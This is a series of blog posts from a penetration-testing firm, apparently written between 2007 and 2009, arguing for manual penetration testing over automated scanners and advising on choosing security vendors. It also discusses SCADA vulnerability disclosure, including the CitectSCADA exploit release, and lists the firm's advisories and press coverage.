An important note about false positives and false negatives. Some vendors claim that their vulnerability scanners have low rates of false positives. As with Intrusion Detection, if low false positive rates are true then its usually reasonable to say that the technology has high rates of false negatives. You can think of it as a sliding scale of 1 to 10 where 1 is 100% False Positives and 10 is 100% False Negatives. As you move up and down the scale you inevitably end up with more of one or the other, you can never eliminate them. With that said, its my opinion that more false positives are better than more false negatives.

If vulnerability scanners aren't the right way to protect yourself then what is? You should protect yourself by exposing your business to an accurate and controlled reproduction of the threat by using a quality security provider. It is important to remember that no single hacker, good or bad, has access to all of the 0-day's in the world. As such, it is entirely possible for a team of ethical hackers to accurately reproduce the threat that unethical hackers can create. Testing at that level enables you to identify weaknesses in your defenses that would not otherwise be detected by testing at lesser levels. What good would a penetration test or a vulnerability assessment do if the malicious hackers will test you harder?

One of the many advantages of using a team of talented hackers for security testing instead of relying on automated vulnerability scanners is that those hackers can and should perform research against unique technologies that they encounter during a security test. I practice what I preach by the way. When our team delivers an Advanced Penetration Test to a customer we always perform our own research against interesting targets. Those targets can be Web Applications, Web Services, or even custom daemons running on systems. In the end, if we find something new we'll write an exploit (proof of concept) for the customer and include that in the final deliverable.

In closing, I am not suggesting that network vulnerability scanners are bad because they do have their place and they do serve a purpose. They are particularly useful in the hands of a skilled security expert especially when performing reconnaissance against large networks. In that scenario the scanner enables the expert to save time and to rapidly collect intelligence about targets given that the engagement is non-stealth in nature. With that said, I wouldn't rely on scanners for anything more than just reconnaissance, at least not yet.

Note: (Thank you to minoo for pointing out a few mistakes in my previous revision of this entry. I hope that this entry is as clear as I intend it to be. There is no one team that is the best, but there are only a few good ones. If this isn't clear enough or if it needs more revision please comment.)

Finding The Quality Security Vendor (Penetration Testing, Vulnerability Assessments, Web Application Security, etc)

2009-01-05T17:49:00.000-08:00

While I've written several detailed white-papers on the subject of identifying quality security vendors, I still feel compelled to write more about the subject. It is my opinion that choosing the right security vendor is critical to the health and safety of a business. Choosing the wrong vendor can leave you with a false sense of security that in the end might result in significant damages. Often times those damages can't be fully measured and appreciated, especially when they involve the tarnishing of a good name.

This problem of identifying quality isn't new but it does take on a new importance when it involves the safety of your trade secrets, source code, or otherwise critically sensitive information. When you trust a security provider to test your IT Infrastructure, your people, physical security, etc. you are relying on them to identify risks that malicious hackers might otherwise discover. If the provider does not test you at the same threat level as the malicious hackers then their service is almost useless.

If that doesn't compel you to want quality security services then go ahead and take the risk. I suppose the question really is, how much is your network (and its data) worth? If its worth more than $500,000.00 then its probably worth spending money on a quality security vendor to protect it right?

So how do you know which providers are quality and which ones are frauds?

The first rule of thumb is to watch out for the vendors that produce deliverables that are the product of vulnerability scanners. There are two reasons for this, the first being that you don't need to pay anyone to run an automated scan when you can do it yourself for much less, or for free. You can choose from a variety of free tools like nessus, or you go out and buy a license for a vulnerability scanner.

Don't be fooled though, vulnerability scanners do not produce accurate results. In fact most vulnerability scanners produce results that contain anywhere from 40-90% false positives with an unknown rate of false negatives. While these tools are useful for reconnaissance they should not be used as the primary method for security testing.

Watch out for the vendor that tells you that they will run a vulnerability scan against your network and then "vet" the results. Vetting doesn't mean that they are going to do additional discovery. Vetting only means that the vendor will check the results of the vulnerability scan and eliminate the false positives. The quality of the end product is then only as good as the accuracy of the vulnerability scanner. Would you bank on that?

When you are choosing the vendor make sure to ask them specific questions. Questions that I find helpful are realistic but based on theoretical architectures. For example you could ask a vendor the following question:

"Suppose you are confronted with an architecture that consisted of 10 desktops behind a single firewall. That firewall has properly configured IPS capabilities and there are no ports forwarded from the internet to any system behind that firewall. How would you [the vendor] penetrate into that network? Once you penetrate how would you perform Distributed Metastasis?" Email me for the answer if you don't know it already.

You can also ask the vendor how they would use a directory traversal vulnerability to penetrate into a network. This is a bit of a trick question but if they know what they are doing then they will be able to answer it properly. The short answer is that you need to inject code into the web-server's error log and then use the directory traversal vulnerability to render the code. (Again, if you need the complete answer email me and I'll get it to you.)

Another good rule is to only choose security vendors who also perform Vulnerability Research and Development ("R&D"). That is to say that the vendor must frequently perform security research against technology, identify vulnerabilities in that technology, create exploits for those vulnerabilities and must release formal security advisories. If they don't then chances are they don't know how to do it, but why is R&D important?

R&D enables the vendor to keep its penetration testing skills honed (so long as the research done by the penetration testers). Penetration Testers who do not perform this kind of research are literally Script Kids (sorry guys). Script Kids are people who download tools and use those tools to penetrate into networks. In almost all cases they don't have any understanding of how the tools work. If you think about it, thats like giving a loaded gun to a 3 year old.

You can also ask the vendor how they collect their threat intelligence. Threat intelligence is a critical aspect of delivering quality security services. If the vendor doesn't have current threat intelligence about the threat then how will they help you to defend yourself against the threat? While I won't tell you how my team collects this intel, I will tell you that its not from the news and most certainly not all public forum.

In closing, my recommendation to you is that you do your homework before you choose a vendor. Research the components required for delivering a quality service, then use your research to question the provider. As an example, if you were going to get a Web Application Penetration Test ask the vendor to define the term "Penetration Test". Ask the vendor what the difference is between a Penetration Test and a Vulnerability Assessment. Also ask them to explain RFI, LFI, XSS, SQL Injection, Blind SQL Injection, etc. Remember, you are going to spend money on security, might as well make it worth while. If you don't then you're just adding that money to the damages from the hack that you'll suffer in the end.

If you have any questions please feel free to leave me a comment or send me an email. You might also want to check out the white papers that I've linked at the upper right hand corner of this blog. Those papers go into more detail about how to choose a good security vendor and how to select the right service.

Followup to my last Brian Chess - Fortify Software post.

2009-01-04T09:05:00.000-08:00

Recently I published a post about Fortify Software's Brian Chess because of some outlandish claims that he made in an article about penetration testing being "Dead by 2009". The off-line and 0n-line comments that resulted from that post were mostly in favor of what I'd written and one of those comments really caught my eye. So here is a post dedicated to Rafal in response to his comment on my article about Brian Chess.

Comment By Rafal shown below, verbatim in pink:

"If I may call a sanity timeout here folks - while I don't agree with Brian's assertions necessarily - if you combine a few factors you could conceivably come to the conclusion that penetration testing will start to dwindle (just not as quickly as 2009)."

Its only conceivable for those who do not know what Penetration Testing is, and many self-proclaimed security guru's don't. So lets start with some (partial) definitions here:

Vulnerability Assessment:
(Assessment: the act of assessing; appraisal; evaluation.)
A Vulnerability Assessment is a service that evaluates a particular target, or set of targets for the purpose of identifying points of exposure that are open to assault. A Vulnerability Assessment does not attempt to compromise or penetrate into a target once a point of exposure is identified, it only aims at assessing the target for points of risk. Vulnerability Assessments by their very nature are prone to False Positives and False Negatives as the findings are never validated via Penetration or Exploitation.

Vulnerability Assessment Tools include:

WebInspect for Web Application Vulnerability Assessments
Nessus for Network Vulnerability Scanning
Fortify for Web Application Vulnerability Assessments
Retina Network Vulnerability Scanning
etc... you get the idea.

Penetration Test:
(Penetration: the act or power of penetrating.)
A Penetration Test is a service that evaluates a particular target, or a set of targets for the purpose of identifying points of exposure that are open to assault. A Penetration Test differs from a Vulnerability Assessment in that it attempts to penetrate into the target by exploiting any discovered points of risk and exposure. A Penetration Test when done properly will result in an accurate deliverable that contains no false positives. This is possible because exploitation of a risk or point of exposure is either successful or not. Penetration Tests can include theoretical findings but they should not be reported on as positives.

Penetration Testing Tools include (I'd recommend these):

You can use a Vulnerability Assessment or a Penetration Test against any type of target not just technology based targets. At Netragard we perform physical penetration tests, wireless penetration tests, network penetration tests, social engineering based penetration tests, web application penetration tests, etc. Likewise we can deliver vulnerability assessments against the same set of targets if penetration testing is too aggressive.

(I get the feeling that both Rafal and Brian Chess think that Penetration Testing is a Web Application only service)

"Here's my logic - feel free to scrutinize. For the record I work for HP (the SPIDynamics acquisition) so you guys can feel free to rip on the fact that our marketing folks I'm sure make interesting claims as well... but I digress. Here are some things to consider:

Actually we've got quite a bit of interesting history with HP, but that's a different story. With respect to SPIDynamics and the Web Inspect tool, I'm sorry that HP ever acquired SPIDynamics. WebInspect was a reasonable tool for doing preliminary reconnaissance against Web Applications during non-covert services. Once HP acquired the technology its quality went down the tubes. Not only that but the process of acquiring a license from HP is excruciatingly painful at best. What ever happened to being able to purchase the product online? /end rant

"1. When you do penetration testing, what are you really testing? Are you testing the system or the intelligence and skill of the pen tester? This is a very tough question to answer."

Why is that a difficult question to answer? If you've built your penetration testing team properly then your team will be able to expose its targets to the same or greater threat level than that which they will likely face in the real world. The fact of the matter is the more secure the infrastructure the more challenging the test and yes, its impossible to know everything but its not impossible to do a great job.

"2. Pursuant to #1 above, and the business' (living in reality land here) need to do lowest-cost vendors... what value do you suppose that the 90%+ of companies that go lowest-cost (outsourced to India, China, Mexico, etc) are getting?"

Businesses do not "need to do the low-cost vendors", they choose to because they are making uneducated decisions in most cases. Mind you the lack of education on their part is not their fault, its the fault of the poor quality vendors. Poor quality vendors advertise their services as if they are the same quality as the high quality vendors thereby causing confusion. When a business compares the two services they don't see the difference and so they choose the less expensive one.

"3. With every point-and-click testing tool there is a double-edged sword... here's why 3a. Tools make you more efficient BUT"

I only partially agree. When the tool spits out over 2,000 false positives (like WebInspect did the last time we used it) with only 3 real positives its doing very little to increase the efficiency of a team. Other tools that produce less false positives and more accurate results are very useful for time savings but their results should not be used to create an end product. Automated tools are not dynamic by nature and as such can not identify the same risks as talented penetration testers.

"3b. Tools can make you less "hands-on" when it comes to writing low-level exploits or code..."

Tools are also the root cause of the the fraudulent security experts. I'm not saying that tools don't have their place because they certainly do. But they allow people to become lazy and as such breed "experts" that are for all intents and purposes no better than script kids (which might I add are very dangerous because they don't know what they are doing).

"4. Penetration testing is an after-the-fact requirement... which is too late. You have to use tools to augment and empower your developers to write better code at the grass-roots otherwise you're hosed."

You're partially wrong. The tools that you speak of are derived from the attacks that were created by Penetration Testers (aka: hackers). With respect to the world of Web Applications, do you think that a tool discovered the first SQL Injection vulnerabilitiy and created a method for exploitation? Ofcourse not! Tools will always be a few steps behind the capabilities of a real hacker, regardless of that hackers ethical bias. The fact of the matter is that as hackers, we perform research and identify new methods for penetration that were not previously discovered and your tools can not and will not ever be able to defend against that.

"So - to summarize, penetration testing isn't going to be "dead" in this year of 2009, but it may start to dwindle down some depending on how good the marketing machines of the tools vendors are. Brian's statement is a self-fulfilling prophecy... he is making a statement that he hopes will incite people to make that statement come true."

I disagree, and again, you are working for a vendor that makes these tools. Its in your best interest to suggest that some how Penetration Testing will be less of a requirement because of the tools that you create. The reality of it is that if people drink that kool aid they will become more vulnerable, not more secure.

When our military tests the armor of its M1A2 Abrams Tank they test it against the real threat. So why aren't we pushing our customers to do the same thing, it makes perfect sense? In our case the real threat is always going to be the malicious hacker, not the software vendor making pretty and easy to use tools. The tools do have a place but they will only ever identify the low hanging fruit. It takes a professional hacker/penetration tester to actually test an infrastructure properly. Lets see your tools perform Social Engineering or drop USB sticks in parking-lots.

ROI of good security.

2009-01-02T11:29:00.001-08:00

The cost of good security is a fraction of the cost of damages that usually result from a single successful compromise. When you choose the inexpensive security vendor, you are getting what you pay for. If you are looking for a check in the box instead of good security services, then maybe you should re-evaluate your thinking because you might be creating a negative Return on Investment.

Usually a check in the box means that you comply with some sort of regulation, but that doesn't mean that you are actually secure. As a matter of fact, almost all networks that contain credit card information and are successfully hacked are PCI compliant (a real example). That goes to show that compliance doesn't protect you from hackers, it only protects you from auditors and the fines that they can impose. Whats more is that those fines are only a small fraction of the cost of the damages that can be caused by a single successful hack.

When a computer system is hacked, the hacker doesn't stop at one computer. Standard hacker practice is to perform Distributed Metastasis and propagate the penetration throughout the rest of the network. This means that within a matter of minutes the hacker will likely have control over the most or all of the critical aspects of your IT infrastructure and will also have access to your sensitive data. At that point you've lost the battle... but you were compliant, you paid for the scan and now you've got a negative Return on that Investment ("ROI").

So what are the damages? Its actually impossible to determine the exact cost in damages that result from a single successful hack because its impossible to be certain of the full extent of the compromise. Never the less, here are some of the areas to consider when attempting to calculate damages:

Man hours to identify every compromised device
Man hours to reinstall and configure every device
Man hours required to check source code for malicious alterations
Man hours to monitor network traffic for hits of malicious traffic or access
Man hours to educate customers
Penalties and fines.
The cost of downtime
The cost of lost customers
The cost of a damaged reputation
etc.

(The damages could *easily* cost well over half a million dollars on a network of only ~50 or so computers. )

Now lets consider the Return on Investment of *good* security. An Advanced Penetration Test against a small IT Infrastructure (~50 computers in total) might cost something around $16,000.00-$25,000 for an 80 hour project. If that service is delivered by a quality vendor then it will enable you to identify and eliminate your risks before they are exploited by a malicious hacker. The ROI of the quality service would be equal to the cost in damages of a single successful compromise minus the cost of the services. Not to mention you'd be complaint too...

(Note: the actual cost of services varies quite a bit depending on what needs to be done, etc.)

So why is it that some vendors will do this work for $500.00 or $2,000.00, etc? Its simple, they are not delivering the same quality service as the quality vendor. When you pay $500.00 for a vulnerability scan you are paying for something that you could do yourself for free (go download nessus). Never the less, when you pay $500.00 you are really only paying for about 5 minutes of manual labor, the rest of the work is automated and done by the tools. (If you broke that down to an hourly rate you'd be paying something like $6000.00 an hour since you're paying $500.00 per 5 minutes). In the end you might end up with a check in your compliance box but you'll still just as vulnerable as you were in the beginning.

Brian Chess, CTO of Fortify Software - Creating Confusion

2008-12-29T13:25:00.000-08:00

So this entry goes to support my previous post about Insecure Security Technologies and some of the confusion that these vendors can cause. Recently Networkworld published an article named "Penetration Testing: Dead in 2009" and cited Brian Chess, the CTO of Fortify Software as the expert source.

The first thing that I want to point out is that Brian Chess is creating confusion amongst the non-expert people who read the article linked above. The laymen might actually think that Penetration Testing is going to be dead in 2009 and as a result might decide to buy technology as a replacement for the service. Well, before you make that mistake read this entire entry. I'll give you facts (not dreamy opinions) about why Penetration Testing is required and why its here to stay.

As a side note, Brian Chess has a vested interest in perpetrating this fantasy because his objective is first and foremost to sell you his technology.

Technology, like Brian Chess's technology is a solution to a problem, which by definition means that the problem came first and the technology was always a few steps behind. With respect to IT Security, hackers are always creating new methods for penetrating into networks (the problem). Because those methods of attack are new, the technology is not able to defeat them (because the solution doesn't yet exist). So if technology can't protect you, then how do you protect yourself?

The best way to protect yourself is to use a combination of technology (to solve known problems) and Penetration Testing (to identify the unknown). A properly executed penetration test will reproduce the same or greater threat levels that your infrastructure will likely face in the real world. This is akin to testing the armor of the M1A2 tank. You shoot the armor with RPG's and armor piercing rounds so that you can study the impact and improve the armor to the point where it defeats the threat. As a result Penetration Testing can move your security posture well past the limits of what technological solutions have to offer. My professional recommendation is that both Technology and Penetration Testing should be used. Sorry Mr Chess, but telling people that Penetration Testing will be dead by 2009 is just fiction.

Moving on...

As a general rule of thumb I try to avoid saying that anything is 100% secure or invulnerable to attack because that sort of claim is impossible. But while reviewing the Fortify website I found the following text and thought it was worthy of note: "Fortify 360 renders software invulnerable to attacks from cyber predators." This sort of marketing fluff falls under the same class of confusing noise as Brian Chess's claim that Penetration Testing will be dead by 2009, total fiction. It is mathematically impossible for Fortify 360 to render software "invulnerable to attacks from cyber predators." unless the software is mathematically proven to be secure, and it hasn't.

If anyone disagrees with what I've said here by all means leave me a comment. If you can prove me wrong then I'll happily make corrections, but I'm pretty sure I'm on the ball with this one. And Mr. Chess, if you think that your technology renders your customers "invulnerable to attacks from cyber predators" then I challenge you to let my research team test an evaluation copy of your technology, after all the skills that we posses according to you are outdated and shouldn't pose a threat to your software. ;]

Insecure Security Technologies

2008-12-23T09:03:00.000-08:00

There is not a single piece of software that exists today that is free from flaws and many of those flaws are security risks. Every time a new security technology is added to an Infrastructure, a host of flaws are also introduced. The majority of these flaws are undiscovered but in some cases the vendor already knows about them.

As an example, we encountered a Secure Email Gateway during an Advanced External Penetration Test for a customer. When a user sends an email, the email can either be sent from the gateway's webmail gui, or from outlook. If it is sent from outlook then the gateway will intercept the email and store the message contents locally. Then instead of actually sending the sensitive email message to the recipient, the gateway sends a link to the recipient. When the recipient clicks on the link their browser launches and they are able to access the original message content.

While this all looked fine, there was something about that gateway that made me want to learn more (a strange jboss version response), so I did... I called the vendor and ask to speak to a local sales rep. When the rep got on the phone I told him that I had an immediate need for 50 gateways but wouldn't make any purchases until I knew that his technology was compatible with my infrastructure. He got really excited and asked me what I needed in order to verify compatibility. I told the rep that I needed a list of all Open Source libraries and software that had been built into the gateway along with version information. The rep said that he didn't really understand what I was asking him but that he'd go to someone in development and figure it out. Within about fifteen minutes I received an email with a .xls attachment. Shortly after that I received an email from the rep asking me to delete the .xls attachment because he wasn't supposed to share that particular one.... go figure...

(I deleted it after I read it)

When I studied the document I realized that the gateway was nothing more than a common bloated linux box with a bunch of very, very old Open Source software installed on it. In fact, based on the version information provided, the newest package that was installed was OpenSSL and that was 3 years old! The JBoss application sever was even older than that and was also vulnerable as hell (but it was hacked and reported incorrect version information). Needless to say we managed to penetrate the secure email gateway by using a published exploit that was also about 3 years old. Once we got in our client decided that their secure gateway wasn't so secure any more and did away with it. We did contact the vendor by the way and they weren't receptive or willing to commit to any sort of fix.

The fact of the matter is that we run into technology like this all the time, especially with appliances. We've seen this same sort of issue with patch management technologies, distributed policy enforcement technologies, anti-virus technologies, HIDS technologies, etc. In almost every case we are able to use these technologies to penetrate or at least to assist in the penetration of our target. While most of these technologies introduce more risk than the risk that they resolve, there are a few good ones. My recommendation is to have a third party assess the technology before you decide to use it, just make sure that they are actually qualified and not Fraudulent Security Experts.

Raising Infrastructural Awareness in 2008

2008-12-19T07:58:00.001-08:00

Before 2008 nobody had done any high visibility vulnerability research and exploit development against critical systems used to maintain our critical infrastructure. In early to mid 2008 that all changed. Initially Core Security released a security vulnerability for Citect SCADA. That security vulnerability got media attention because it was one that could be used to penetrate into important control systems that are used to control our infrastructure. (Electricity, Water, Gas, Oil, etc).

When the vendor released their statement about the vulnerability they downplayed the criticality of the issue in a very significant way. In our opinion that downplay was borderline unethical and was an attempt to save face. Fortunately for all of you who rely on electricity, running water, etc, we weren't going to stand for that. More specifically, Kevin Finisterre our lead researcher wasn't going to stand for it.

At first Kevin and I tried talking to the engineers about the criticality of the vulnerability. That discussion got us nowhere fast, the engineers simply didn't want to hear it and didn't want to assume responsibility for the problem. At that point Kevin decided to take the game to the next level, and this time the actual risk for the vulnerability would be proved.

Kevin decided that he would write an exploit for the Citect SCADA vulnerability, after all the vendor said that it was a low risk issue right? So Kevin did just that, he wrote an exploit and published it to the Metasploit Framework. Once word of that got out, the attitudes at Citect and those of the engineers changed so fast that heads spun. All of the sudden this non-critical issue was a critical issue and something had to be done.

So why was it so important for us to do that? Why did we feel that it was the ethical thing to do? Here's why....

An exploit had already been created by a few other people and was in circulation. So the bad guys had it and the good guys didn't. When Kevin published the exploit he evened out the playing field and gave the good guys the same caliber guns. When the good guys fired the gun the reality of their vulnerability was very apparent and only then did they jump to work on the issues. That said, some of them are still vulnerable.

Through out 2008 we kept on researching SCADA vulnerabilities and other security issues related to Infrastructural systems. As it turns out we caught a lot more interest than we thought we would have, and we had a much bigger impact on the industry than expected. Today Citect is taking security very seriously and many government agencies have become very aware of these risks.

Here is a podcast where people reference the work that we've done with vulnerability research and exploit releases. They never directly mention our names (go figure) but we all know who they are talking about.

Utility Companies and Food for Thought

2008-12-18T07:25:00.000-08:00

Something that I keep on hearing from engineers (power, water, etc) on the SCADASEC mailing list is that they are more concerned about human error causing an outage than an attack over the internet. Most of the incidents that I hear about are operator error and they involve accidentally shutting down a computer system or perhaps configuring one improperly (The utility guys like to call these "cyber" incidents). When that happens things "go to hell in a hand basket" fast and people can and do die. They seem to be more concerned about those types of "cyber" incidents than they are the hacker threat... but they're not getting it right?

The fact of the matter is that a malicious hacker could trigger any number of these "cyber" incidents either deliberatley or accidently, and the end result is the same. How do we get these guys to take the threat more seriously? I think its happening, but I don't feel like its happening fast enough.

Fradulent Security Experts

2008-12-17T09:52:00.000-08:00

So I've been participating in the penetration testing mailing list that is hosted by securityfocus and I can't say that I am impressed. In fact, I might even go so far as to say that I am concerned about the caliber of the people that are offering paid services, here's why.

When a customer hires a security professional to perform a Penetration Test, Web Application Security Assessment, or any other service that customer should be getting a real expert. That expert should be able to assess the customers target infrastructure, application, or whatever and should be able to determine points of vulnerability and their respective risks. But that is not what I am seeing.

The other day a self proclaimed "expert" asked how dangerous a SQL Injection vulnerability was. They apparently identified a SQL Injection vulnerability in their customer's website but didn't know what to do with it!!! They also asked about how to exploit the vulnerability and what successful exploitation might do.

Well the first thing that came to mind was "Why the hell are you offering services if you don't know what you are doing?". I actually asked that but I didn't get any response back from the original author. When someone hires a security professional to deliver security services they expect those professionals to be subject matter experts. The unfortunate thing is that in most cases the customer has no way of verifying the professional's expertise and the customer gets taken for a ride. (Take a look at our white papers!!!)

Another example is in a recent vulnerability that one of my team members found. He was researching a product's webservice and found that it was just chalk full of holes. When he contacted the vendor, they responded with "but we just had a very extensive security assessment done against our product". We certainly couldn't tell... looks like they got taken for a ride like so many others.

Why is this a problem, why do I care? Its a problem because the providers who offer these low quality services advertise the same way as the high quality providers. The difference is that their service doesn't do anything to protect the customer, and ours does. We're not the only good security company out there, but we are one of very, very few.

Conference with Green Hills Software

2008-12-10T06:54:00.000-08:00

I recently gave a speech with Green Hills Software, Inc. in California. The presentation covered the real threat that businesses face as opposed to the theoretical threat that most people seem to worry more about. I also made it a point to uncover some of the more unorthodox attack methods that hackers use like the spreading of infected USB Sticks in parking lots or the use of rapid Distributed Metastasis.

Here are some articles that were written as a result of the conference:

EEtimes
EEtimes.eu
Astalavista
ISA

Die Hard 3 - Our Infrastructural Systems

2008-10-13T11:47:00.000-07:00

Society has one very critical technological underpinning that goes un-noticed by most people, but not hackers. If you’ve ever seen the most recent die hard movie then you’ll have an idea of what I am talking about. That is, the world’s critical infrastructures are vulnerable to attack by hackers (scary but true). These infrastructures include but are not limited to Water, Power, Communications, Transportation, Chemical Plants, etc.

Critical Infrastructure existed well before the advent of the Internet. The systems that were deployed to support the infrastructure were designed for stability, reliability and redundancy. These are computer systems that are used to control massive pumps, generators, cooling pools, the flow of gas, and other critical devices. A failure in one of those computer systems can translate to a failure in one of those critical devices.

When Infrastructure’s IT Infrastructure was first built, remote measurement devices would report data back home via dedicated network connections. In some cases people would physically go to remote locations and take readings and report those readings back to the headquarters. Recently however, Infrastructural businesses realized the cost benefit of using the Internet in place of the dedicated lines and the traveling meter-reading engineers. What they didn’t consider what the seriousness of the Internet threat, and the capabilities of those who create the threat.

As a result Infrastructure in every developed country contains critical technological vulnerabilities that have yet to be discovered. Those vulnerabilities if exploited successfully could result in damages ranging from basic system outages to the deaths of many people. This is the cost of a premature reliance on technology that people don’t fully understand.

To make matters worse the solution isn’t easily implemented. The problem is clouded with political noise, egos, and old time engineers that resist change. Some of them might actually fear for their jobs as they well should if in fact their skills are not unique. Others should fear for their jobs because they have neglected to protect critical infrastructure from the hacker threat. This problem isn’t a new problem and its existed for quite a while now, but we’re working to turn up the heat.

Yet still its not quite that simple. Many of these systems can't just be patched, some of them are upgraded with fork lifts. The ones that can be patched, can't still be patched because for them to go off-line means that you lose power, water, emergency services etc. Worse yet, if a patch is applied and that patch fails 90 days after its running, then it can kill people. So the threat is literally two sided. The fix creates a threat, and the hackers create a threat. How to resolve this without having either threat align with the risk?

If you are interested in following the conversations then you should subscribe to the SCADA Sec mailing list. The list is made up of a wide range of IT experts including Security Specialists, Control System experts, and Control System Security experts. As a group we’ll solve this problem, but if we keep arguing about semantics then we’re all in trouble.

CitectSCADA Exploit Release

2008-09-10T11:26:00.000-07:00

SNOsoft/Netragard's Kevin Finisterre recently released an Exploit, not Attack Code, to demonstrate that a critical vulnerability does exist in Citect's CitectSCADA product. This code was released so that users of the product could accurately determine their own level of risk and exposure as well as determine the seriousness of the risk it creates as it relates to their infrastructure. This code was released after the vendor, Citect, had created a fix for the vulnerability and after people had been given sufficient time to implement the fix.

It is important to understand that the risk to Infrastructural businesses existed well before Kevin released his exploit code and well before Core Security released their advisory. The risk was born the moment the programming error in the CitectSCADA product happened. When Core Security identified the risk and notified the vendor they began the process of defending Infrastructural businesses against attack.

Citect responded very rapidly and appropriately to Core's discovery and released a fix for the issue. Shortly thereafter, Kevin created a working Proof of Concept ("Exploit") that enabled users of the CitectSCADA technology to test their own networks to see if in fact they were vulnerable to attack. In addition, Kevin worked with other security experts to help get an Intrusion Detection Signature developed that would detect any attempt at attacking a vulnerable system. That signature is available here.

In all reality Kevin's exploit code was very unlikely the first version. Chances are very high that other hackers had already created an exploit to penetrate into the CitectSCADA computer systems. Kevin's release of his version of an exploit for this vulnerability has a powerful negative impact on the value of the exploit to malicious hackers. When a malicious hacker attacks a network it is important that they are not detected. As such they tend to attack vulnerabilities that are unknown to the general public. Once a vulnerability is disclosed to the public it is detectable and it looses its appeal to malicious hackers very quickly.

Not only is the value of the exploit diminished by disclosure, but now the chances of the exploit working against a target are also diminished. This is because network and system administrators can test their own networks using Kevin's tool and build defenses to defeat the attack even if they do not apply the Citect patch.

In closing, I would like to commend Citect for doing such a good job at dealing with this issue. Likewise I'd like to commend the researchers and the people that pushed so hard to get this issue the attention that it needed. This is the first major step in the right direction to protecting our Infrastructural businesses, and those businesses are the most critical to our survival. Also please remember, Citect's vulnerability is not unique. All software is vulnerable at one point or another.

Here are the articles:

The Register:
CSO Magazine:
CIO Magazine:
PC World:
Network World:

Hackers?

2008-09-03T07:34:00.000-07:00

Hackers: Amaturs, non profit.

Core Image Fun House - Advisory

2008-07-11T11:42:00.000-07:00

Netragard's SNOsoft Research Team discovered an exploitable buffer overflow vulnerability in Apple's Core Image Fun House version <= 2.0 on OS X. Netragard notified apple and released a formal advisory that can be found here. Proof of concept is included in the advisory.

More Apple Bugs

2008-06-30T09:45:00.000-07:00

I realize that it has been a while since I've written anything to our blog and I assure you its because our team has been busy. With that said, we've been sitting on a few vulnerabilities that were discovered a while ago waiting for the vendor to release patches. Those vulnerabilities are going to be released very shortly on Netragard's website and to the mailing lists, but here's a sneak peek.

1-) Funhouse vulnerability with exploit code.
2-) LP vulnerability, also with exploit code.

These should be posted within the next two weeks.

HackerSafe pwned

2008-01-23T19:00:00.000-08:00

Back in early 2000, Kevin Finisterre and I were talking about HackerSafe and the risks that it posed to its customers. Primarly, if hackers monitor all HackerSafe websites they will know when to attack a site based on the presence of the HackerSafe logo. Another issue that we have with HackerSafe like services is that we feel that people are getting a false sense of security. Automated tools like the ones used by HackerSafe (scanalert) do not identify the security holes that most hackers use to break into networks, instead they only identify the known issues.

Don't get us wrong, there is value in the services that are being offered by ScanAlert. Their services help businesses keep up to date with patches and prevent businesses from missing the obvious and low hanging fruit. For that very reason services like HackerSafe have a very good ROI. Just don't feel 100% because you've got the logo, you're never 100%. Here's an article where our CTO commented on the recent HackerSafe pwnage.

Hackers attack power companies

2008-01-19T09:53:00.000-08:00

For quite some time I've been giving speeches and talking about the physical damages that malicious hackers could cause with a well crafted cyber attack. I've discussed how vulnerable our (the world's) core infrastructure is and how easily it could be disabled. As a result many people have called me a conspiracy theorist, or accused me of exaggerating. Well, unfortunately now I can say "I told you so." This isn't the first time that hackers have attacked this kind of technology, the US Department of Defense did it during the Aurora Generator Test.

ZDNet Australia

2008-01-11T07:29:00.000-08:00

Netragard's CTO was quoted in the following article titled "2007: How was it for Apple". Here's the article and here's the quote:

Adriel Desautels, chief technology officer for security company Netragard and founder of the SNOSoft research team, said: "If OS X had the same installed base as Windows, Linux and other systems, it would be less secure or at the very most, as secure as the other systems ... It's just a matter of what [attackers] focus on."

OpenBase 10.0.5 (All Platforms)

2007-11-08T09:04:00.000-08:00

Netragard's SNOsoft Research Team discovered two critical vulnerabilities in the OpenBase SQL Relational Database that can lead to full system compromise.

The first vulnerability discovered is a command injection vulnerability that affects several of the default Stored Procedures. Specifically, it is possible to execute system commands as the root user by inserting a series of backticks into the pre-defined Stored Procedures.

The second vulnerability discovered in Buffer Overflow that causes heap corruption. This also has the potential to lead to the execution of arbitrary code or a Denial of Service condition.

Click here for the full advisory.

Netragard In The News

2007-11-08T08:35:00.000-08:00

Apple patched two issues in Xcode Tools 2.5 on Tuesday, including one flaw that could allow remote code execution. Apple credited researcher Kevin Finisterre of Netragard for reporting both issues. Read the full article here.

SQL Injection funnies.

2007-10-10T07:56:00.000-07:00

Hackers Welcome - We're in forbes again.

2007-09-14T09:50:00.000-07:00

When legitimate security researchers notify technology vendors about security flaws in their technology, the best thing that the vendor can do is to welcome the information with open arms. When a vendor reacts with hostility it appears as if the vendor is attempting quash the security research instead of resolving the vulnerabilities identified by the research. While the hostile reaction is usually an attempt to "save face" it usually does the opposite and sends a dangerous false message to the vendors customers. That message is "We care more about saving face than we do about your security." On the other hand... Vendors that work with security researchers in a positive and friendly manner send the message that they "care about the security of their customers". This Forbes article contains key examples of "Software Bug Blowups", in fact, it even covers the SNOsoft + HP + DMCA fiasco that happened back in early 2000.

China Hacked by the US?

2007-09-13T14:07:00.000-07:00

As the list of nations claiming they were targeted by Internet attacks emanating from China continues to grow, the world's most populous country has turned the mirror back on other governments.

In statements made in the Chinese Cadres Tribune, Vice Minister of Information Industry Lou Qinjian claimed that the United States and other "hostile" governments were attacking China's infrastructure, according to a news report carried by wire service Reuters. Lou recommended a collection of new measures to combat the attacks, including "toughened censorship, new security bodies and commercial controls," stated Reuters.

Click here for the full article.

Pentagon hacked by China?

2007-09-04T22:44:00.000-07:00

For all of you who wanted "proof" about the cyberwar between China and the US, here's an article for you. Unfortunately I think that China is in a better technological position with their "Golden Shield" firewall than we are with our ad-hoc Internet infrastructure. Specifically if you consider that "Golden Shield" is rumored to be IPS capable.

China Cyber Shield - Forbes

2007-08-06T15:32:00.000-07:00

This article was literally our idea. We contacted Andrew Greenberg at Forbes Magazine and discussed the possibility of China's Operation Golden Shield being used as an offensive weapon during a Cyber war. Jayson Street, a long time SNOsoft team member is quoted in this article.

Bug Brokers: eBay-like Bug Site Doomed

2007-07-13T08:37:00.000-07:00

Netragard's CTO (our founder) was interviewed by eWeek for this article. Again, focused on the e-bay like exploit auction site that we feel is doomed to fail.

Hackers Nasdaq - Our founder comments in forbes.

2007-07-09T09:59:00.000-07:00

